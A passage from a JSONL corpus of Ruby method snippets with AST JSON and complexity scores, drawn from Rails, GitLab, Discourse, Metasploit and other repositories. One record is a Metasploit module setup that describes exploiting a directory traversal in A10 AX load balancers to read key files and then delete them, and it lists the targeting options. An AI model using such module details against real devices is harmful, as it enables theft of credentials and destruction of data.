etc)\"]},{\"type\":\"str\",\"children\":[\"github.com\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"str\",\"children\":[\"RHOSTS\"]},{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"str\",\"children\":[\"PASS_FILE\"]},{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]},{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]},{\"type\":\"str\",\"children\":[\"USERPASS_FILE\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_PASS\"]},{\"type\":\"str\",\"children\":[\"DB_ALL_CREDS\"]}]}]}]}","id":"2f5290ac-22ae-4382-a744-23489fef4063"} {"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/cves.rb","start_line":247,"raw_source":"def test_CVE_2016_6316_rails5\n before_rescan_of [\"Gemfile.lock\", \"app/views/widget/content_tag.html.erb\"], \"rails5\" do\n replace \"Gemfile.lock\", \"rails (5.0.0)\", \"rails (5.0.0.1)\"\n end\n\n assert_version \"5.0.0.1\"\n assert_fixed 3 # 3 for CVE-2016-6316\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_CVE_2016_6316_rails5\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"app/views/widget/content_tag.html.erb\"]}]},{\"type\":\"str\",\"children\":[\"rails5\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]},{\"type\":\"str\",\"children\":[\"rails (5.0.0)\"]},{\"type\":\"str\",\"children\":[\"rails (5.0.0.1)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_version\",{\"type\":\"str\",\"children\":[\"5.0.0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_fixed\",{\"type\":\"int\",\"children\":[3]}]}]}]}","id":"7dceb0da-23da-4f71-a46b-3fe6bd8d3bef"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipeline_schedules_controller.rb","start_line":18,"raw_source":"def index\n @scope = params[:scope]\n @all_schedules = Ci::PipelineSchedulesFinder.new(@project).execute\n @schedules = Ci::PipelineSchedulesFinder.new(@project).execute(scope: params[:scope])\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@all_schedules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineSchedulesFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"execute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schedules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineSchedulesFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]}]}]}]}]}]}]}","id":"44de7d0f-3e85-4105-87e8-da3ba3b298f6"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/primary_index.rb","start_line":87,"raw_source":"def cast_id(id)\n model.type_for_attribute(model.primary_key).cast(id)\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cast_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"type_for_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"primary_key\"]}]},\"cast\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"6e655d75-1bb0-4177-90f5-61724dee8960"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/test/test_helper_test.rb","start_line":414,"raw_source":"def test_assert_enqueued_email_with_with_args\n assert_nothing_raised do\n assert_enqueued_email_with TestHelperMailer, :test_args, args: [\"some_email\", \"some_name\"] do\n silence_stream($stdout) do\n TestHelperMailer.test_args(\"some_email\", \"some_name\").deliver_later\n end\n end\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_enqueued_email_with_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_email_with\",{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},{\"type\":\"sym\",\"children\":[\"test_args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"some_email\"]},{\"type\":\"str\",\"children\":[\"some_name\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_stream\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestHelperMailer\"]},\"test_args\",{\"type\":\"str\",\"children\":[\"some_email\"]},{\"type\":\"str\",\"children\":[\"some_name\"]}]},\"deliver_later\"]}]}]}]}]}","id":"1fcb0b7b-e0c8-4f68-9f7b-9c97d6a7af9c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/timeline_events/update_service.rb","start_line":83,"raw_source":"def was_changed(timeline_event)\n changes = timeline_event.previous_changes\n occurred_at_changed = changes.key?('occurred_at')\n note_changed = changes.key?('note')\n\n return :occurred_at_and_note if occurred_at_changed && note_changed\n return :occurred_at if occurred_at_changed\n return :note if note_changed\n\n :none\n end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"was_changed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timeline_event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeline_event\"]},\"previous_changes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"occurred_at_changed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"key?\",{\"type\":\"str\",\"children\":[\"occurred_at\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note_changed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"key?\",{\"type\":\"str\",\"children\":[\"note\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"occurred_at_changed\"]},{\"type\":\"lvar\",\"children\":[\"note_changed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurred_at_and_note\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"occurred_at_changed\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"occurred_at\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_changed\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]}]},null]},{\"type\":\"sym\",\"children\":[\"none\"]}]}]}","id":"152e86cd-b072-4ba0-839b-142b3e71b1d5"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/commands/dbconsole_test.rb","start_line":107,"raw_source":"def test_rails_env_is_development_when_environment_option_is_dev\n stub_available_environments([ \"development\", \"test\" ]) do\n assert_match(\"development\", parse_arguments([ \"-e\", \"dev\" ])[:environment])\n end\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_env_is_development_when_environment_option_is_dev\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_available_environments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_arguments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"str\",\"children\":[\"dev\"]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]}]}]}","id":"3b774610-3fd2-48bb-be1f-32cf79909ebb"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_log.rb","start_line":790,"raw_source":"def setup\n @log_device = Fluent::Test::DummyLogDevice.new\n @timestamp = Time.parse(\"2016-04-21 02:58:41 +0000\")\n @timestamp_str = @timestamp.strftime(\"%Y-%m-%d %H:%M:%S %z\")\n Timecop.freeze(@timestamp)\n dl_opts = {}\n dl_opts[:log_level] = ServerEngine::DaemonLogger::TRACE\n logdev = @log_device\n logger = ServerEngine::DaemonLogger.new(logdev, dl_opts)\n @logger = Fluent::Log.new(logger)\n end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log_device\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Test\"]},\"DummyLogDevice\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2016-04-21 02:58:41 +0000\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamp_str\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@timestamp\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M:%S %z\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timecop\"]},\"freeze\",{\"type\":\"ivar\",\"children\":[\"@timestamp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"dl_opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dl_opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"log_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"TRACE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logdev\",{\"type\":\"ivar\",\"children\":[\"@log_device\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServerEngine\"]},\"DaemonLogger\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logdev\"]},{\"type\":\"lvar\",\"children\":[\"dl_opts\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"logger\"]}]}]}]}]}","id":"27eba17c-5950-411a-9520-0abc9ec58978"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":159,"raw_source":"def change_issuable_contacts(added_count, removed_count)\n text_parts = []\n\n Gitlab::I18n.with_default_locale do\n text_parts << \"added #{added_count} #{'contact'.pluralize(added_count)}\" if added_count > 0\n text_parts << \"removed #{removed_count} #{'contact'.pluralize(removed_count)}\" if removed_count > 0\n end\n\n return if text_parts.empty?\n\n body = text_parts.join(' and ')\n create_note(NoteSummary.new(noteable, project, author, body, action: 'contact'))\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"change_issuable_contacts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"added_count\"]},{\"type\":\"arg\",\"children\":[\"removed_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text_parts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"I18n\"]},\"with_default_locale\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"contact\"]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"added_count\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"contact\"]},\"pluralize\",{\"type\":\"lvar\",\"children\":[\"removed_count\"]}]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text_parts\"]},\"join\",{\"type\":\"str\",\"children\":[\" and \"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"contact\"]}]}]}]}]}]}]}","id":"77e91a05-bd67-45ae-8f35-16d119fa3951"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'A10 Networks AX Loadbalancer Directory Traversal',\n 'Description' => %q{\n This module exploits a directory traversal flaw found in A10 Networks\n (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When\n handling a file download request, the xml/downloads class fails to\n properly check the 'filename' parameter, which can be abused to read\n any file outside the virtual directory. Important files include SSL\n certificates. This module works on both the hardware devices and the\n Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the\n file on the device after downloading it. Because of this, the CONFIRM_DELETE\n option must be set to 'true' either manually or by script.\n },\n 'References' => [\n ['CVE', '2014-125125'],\n ['OSVDB', '102657'],\n ['BID', '65206'],\n ['EDB', '31261']\n ],\n 'Author' => [\n 'xistence' # Vulnerability discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'DisclosureDate' => '2014-01-28',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']),\n OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']),\n OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]),\n OptBool.new('CONFIRM_DELETE', [true, 'Run the module, even when it will delete files', false]),\n ]\n )\n end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"A10 Networks AX Loadbalancer Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a directory traversal flaw found in A10 Networks\\n\"]},{\"type\":\"str\",\"children\":[\" (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When\\n\"]},{\"type\":\"str\",\"children\":[\" handling a file download request, the xml/downloads class fails to\\n\"]},{\"type\":\"str\",\"children\":[\" properly check the 'filename' parameter, which can be abused to read\\n\"]},{\"type\":\"str\",\"children\":[\" any file outside the virtual directory. Important files include SSL\\n\"]},{\"type\":\"str\",\"children\":[\" certificates. This module works on both the hardware devices and the\\n\"]},{\"type\":\"str\",\"children\":[\" Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the\\n\"]},{\"type\":\"str\",\"children\":[\" file on the device after downloading it. Because of this, the CONFIRM_DELETE\\n\"]},{\"type\":\"str\",\"children\":[\" option must be set to 'true' either manually or by script.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-125125\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"102657\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"65206\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31261\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"xistence\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-01-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI path to the web application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file to obtain\"]},{\"type\":\"str\",\"children\":[\"/a10data/key/mydomain.tld\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The max traversal depth to root directory\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONFIRM_DELETE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Run the module, even when it will delete files\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"84c4a09f-a458-4e11-9eab-20d9db44a8c8"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/configured_system.rb","start_line":83,"raw_source":"def counterparts\n return [] unless counterpart\n\n [counterpart] + counterpart.counterparts.where.not(:id => id)\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"counterparts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counterpart\"]},\"counterparts\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}]}","id":"a303d315-c5a0-4feb-aaea-7c974ef3a536"} {"repo_name":"rails","file_path":"./repos/rails/activestorage/app/controllers/active_storage/disk_controller.rb","start_line":54,"raw_source":"def acceptable_content?(token)\n token[:content_type] == request.content_mime_type && token[:content_length] == request.content_length\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"acceptable_content?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content_type\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_mime_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content_length\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_length\"]}]}]}]}","id":"348dd6ce-de3f-4499-bd71-7c850772c4ca"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/jobs/regular/chat/notify_mentioned_spec.rb","start_line":68,"raw_source":"def track_core_notification(user: user_2, message:, to_notify_ids_map:)\n job.execute(\n chat_message_id: message.id,\n timestamp: message.created_at.to_s,\n to_notify_ids_map: to_notify_ids_map,\n )\n\n Notification.where(user: user, notification_type: Notification.types[:chat_mention]).last\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_core_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user_2\"]}]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"to_notify_ids_map\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"created_at\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_notify_ids_map\"]},{\"type\":\"lvar\",\"children\":[\"to_notify_ids_map\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_mention\"]}]}]}]}]},\"last\"]}]}]}","id":"de5d240a-60c5-441b-93df-8d1f1a5de6c7"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lfs_token.rb","start_line":10,"raw_source":"def actor_name\n user? ? actor.username : \"lfs+deploy-key-#{actor.id}\"\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"username\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lfs+deploy-key-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"id\"]}]}]}]}]}","id":"0e957671-83b4-4dbc-af96-706146c3982c"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/internal_comment_mentions_sanitizer.rb","start_line":32,"raw_source":"def self.sanitize(work_package, comment)\n new(work_package, comment).call\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sanitize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]}]},\"call\"]}]}","id":"eb7d0716-847b-4bad-94be-cfb85ee76261"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session.rb","start_line":236,"raw_source":"def cleanup\n if db_record and framework.db.active\n ::ApplicationRecord.connection_pool.with_connection do\n framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason)\n rescue ActiveRecord::RecordNotFound\n nil # this will fail if the workspace was deleted before the session was closed, see #18561\n end\n end\n 